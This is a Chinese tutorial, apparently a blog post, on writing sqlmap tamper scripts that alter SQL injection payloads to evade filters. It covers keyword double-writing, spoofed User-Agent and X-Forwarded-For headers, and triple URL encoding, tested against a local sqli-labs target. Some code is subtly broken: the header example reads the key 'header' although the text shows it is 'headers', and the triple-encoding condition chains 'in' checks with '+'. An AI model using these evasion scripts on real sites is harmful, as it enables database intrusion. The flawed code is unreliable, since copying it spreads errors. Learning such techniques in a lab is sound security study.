sqlmap的 --tamper 参数可以引入用户自定义的脚本修改注入时的payload ,达到sql注入时对一些敏感字符的一些绕过
下载 sqlmap 自带的 tamper 脚本就在 /sqlmap/tamper 目录下,是用 python 编写的,所以我们可以用 python 语言自己编写一些脚本放进该目录即可使用。如果有一些 python 基础我觉得就可以比较简单地理解与编写 tamper 脚本。
tamper 脚本的例子:
这个是sqlmap中自带的一个将 payload 进行base64编码的一个脚本
#!/usr/bin/env python
"""
Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
from lib.core.convert import encodeBase64
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.LOW
def dependencies():
pass
def tamper(payload, **kwargs):
return encodeBase64(payload, binary=False) if payload else payload
——————
对脚本内容结构进行分析:
import 部分
什么的例子是这两行:
from lib.core.convert import encodeBase64
from lib.core.enums import PRIORITY
就是导入python的一些第三方库,用 import 等语句
——————
priority 部分
这一行内容:
__priority__ = PRIORITY.LOW
作用是定义tamper的优先级,如果在使用 sqlmap 时使用多个tamper脚本,就会根据每个tamper定义 PRIORITY 的参数等级来优先使用等级较高的tamper
比如这里的一个优先级是 LOW ,代表数值-10
其他优先级值可选项:
LOWEST=-100
LOWER=-50
LOW=-10
NORMAL=0
HIGH=10
HIGHER=50
HIGHEST=100
——————
dependencies 函数部分
上面的例子为:
def dependencies():
pass
这里为 pass ,就是为空,不含内容。
dependencies 应该就是相当于在使用 sqlmap 控制台时出现的注释信息,或者说一个提示信息。比如可以提示支持的数据库类型等信息。
函数内可以使用 singleTimeWarnMessage() 函数,用于在控制台中打印出警告信息。
使用这个函数在前面需要先导入 from lib.core.common import singleTimeWarnMessage
例:
from lib.core.common import singleTimeWarnMessage
def dependencies():
singleTimeWarnMessage("这是一个tamper提示")
tamper 函数部分
上面的例子:
def tamper(payload, **kwargs):
return encodeBase64(payload, binary=False) if payload else payload
这个函数部分就是对 payload 进行编码、替换等操作,函数内的 payload 参数就是我们进行sql注入构造的语句,函数内编写代码对 payload 进行编码替换等操作,写完要进行的操作,最后函数 return payload 即可。
比如这里给的例子只用了一个 encodeBase64 函数对 payload 编码一次就 return 返回。
再简单写一个替换编写,用到 python 的 replace() 函数
实现对 payload 一些敏感字符的双写绕过
def tamper(payload, **kwargs):
payload = payload.lower()
payload = payload.replace('select','selselectect')
payload = payload.replace('union','uniunionon')
return payload
tamper() 函数内还有一个参数: kwargs
这个参数可以修改请求头数据中的其他参数,前面的payload参数操作只体现在 url 上
通过 kwargs 对请求头中的参数进行修改,要先理解 kwargs 是一个字典,可能要学习一下 python 里的字典知识
kwargs 字典结构为:
{'headers': {}, 'delimiter': '&', 'hints': {}}
学习 sqlmap 中自带脚本 varnish.py 中对 kwargs 参数的操作写法
比如修改请求头中 User-Agent 参数值:
headers = kwargs.get("header",{})
headers['User-Agent']="你要改的值"
对前面的双写绕过tamper 函数加上请求头数据修改的功能:
def tamper(payload, **kwargs):
headers = kwargs.get("header",{})
headers['User-Agent']="Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
headers["X-Forwarded-For"] = "127.0.0.1"
return payload
——————
案例编写
最后尝试一个完整的脚本编写及使用。
要实现的功能:
1、sqlmap 使用时打印 warning 警告信息:这是一个tamper提示
2、对payload 三次 url 编码
这里先通过 sqlmap 中自带的 一次url编码脚本 charencode.py 和 自带的 二次url 编码脚本 chardoubleencode.py 学习一下编写方法,然后要编写三次 url 编码的脚本只需要在原来基础上修改一下即可。
主要理解 while 循环里的逻辑,这里以一次url编码的代码为例
if payload[i] == '%' and (i < len(payload) - 2) and payload[i + 1:i + 2] in string.hexdigits and payload[i + 2:i + 3] in string.hexdigits:
retVal += payload[i:i + 3]
i += 3
if 语句判断如果当前字符是 %,并且后面两个字符都是十六进制数字,则将这三个字符添加到变量 retVal 中,并将计数器 i 加上 3跳过已经处理过的三个字符。
else:
retVal += '%%%.2X' % ord(payload[i])
i += 1
否则,将当前字符转换为其 ASCII 码值,并将其格式化为两位十六进制数,然后将其添加到变量 retVal 中,并将计数器 i 加上 1。
部分代码详解:
其中
string.hexdigits 表示十六进制的字符( '0123456789abcdefABCDEF'),所以 payload[i + 2:i + 3] in string.hexdigits 也可以写成 payload[i + 2:i + 3] in '0123456789abcdefABCDEF'
'%%%.2X' % ord(payload[i]) 这个表达式中
%.2X 中的 .2 表示输出的十六进制数至少包含两位,不足两位则在前面补 0。%X 是指将一个整数或字符转换为十六进制表示的字符串。
而在 % 符号之前又加上了一个 % 符号,这是因为 % 符号在 Python 中是一个特殊的字符,用来进行字符串格式化。如果要在字符串中输出 % 符号,需要用两个 % 符号来表示。
所以这个表达式会将 payload[i] 转换为两位十六进制数,并在前面添加一个 % 符号,最终返回一个形如 %XX 的字符串,其中 XX 是 payload[i] 对应的 ASCII 码的十六进制表示。
——
url编码规则
再通过 chatgpt ai 可以方便清晰地了解一下 url 多次编码的规则
第一次编码是将每个字符转换为ASCII码,再以两位十六进制数字表示,再加上百分号(%)
后面的多次编码只需要在一次编码的基础上把 % 变为 %25 即可
例如 SELECT FIELD FROM TABLE
一二三次 url 编码的结果:
%53%45%4C%45%43%54%20%46%49%45%4C%44%20%46%52%4F%4D%20%54%41%42%4C%45
%2553%2545%254C%2545%2543%2554%2520%2546%2549%2545%254C%2544%2520%2546%2552%254F%254D%2520%2554%2541%2542%254C%2545
%252553%252545%25254C%252545%252543%252554%252520%252546%252549%252545%25254C%252544%252520%252546%252552%25254F%25254D%252520%252554%252541%252542%25254C%252545
编写三次 url 编码 tamper 脚本
得到结果为:
#!/usr/bin/env python
import string
from lib.core.enums import PRIORITY
from lib.core.common import singleTimeWarnMessage
__priority__ = PRIORITY.LOW
def dependencies():
singleTimeWarnMessage("这是一个tamper提示")
def tamper(payload, **kwargs):
retVal = payload
if payload:
retVal = ""
i = 0
while i < len(payload):
if payload[i] == '%' and (i < len(payload) - 4) and payload[i + 1:i + 2] in string.hexdigits and payload[i + 2:i + 3] in string.hexdigits+payload[i + 3:i + 4] in string.hexdigits+payload[i + 4:i + 5] in string.hexdigits:
retVal += '%%25%s' % payload[i + 1:i + 5]
i += 5
else:
retVal += '%%2525%.2X' % ord(payload[i])
i += 1
return retVal
while函数中,遍历字符串,如果为 % ,并且后面四位是十六进制数,则将 % 变为 %25 ,再接上后面的十六位进制数,i+5 跳过一操作的五个字符
如果不是 % ,意味着一个字符还未经过url 编码,将其三次url 编码就是将其转换为 ASCII码,并以两位十六进制数表示,前面加上 %2525
——————
案例抓包测试
先抓包测试一下 sqlmap 自带的一次url编码脚本 charencode.py
python sqlmap.py -u "http://192.168.43.56/sqli-labs/Less-1/?id=1" --dbs --tamper "charencode.py" --proxy "http://127.0.0.1:8080"
可以看到id后面接的 payload 经过了一次 url 编码
再抓包测试我们前面写的三次 url 编码脚本
python sqlmap.py -u "http://192.168.43.56/sqli-labs/Less-1/?id=1" -D xss --tables --tamper "charthreeencode.py" --proxy "http://127.0.0.1:8080"
查看执行结果
实现功能1,使用时打印 warning 警告信息
实现功能2对payload 三次 url 编码,可以看到 id 后面接的payload 经过了三次 url 编码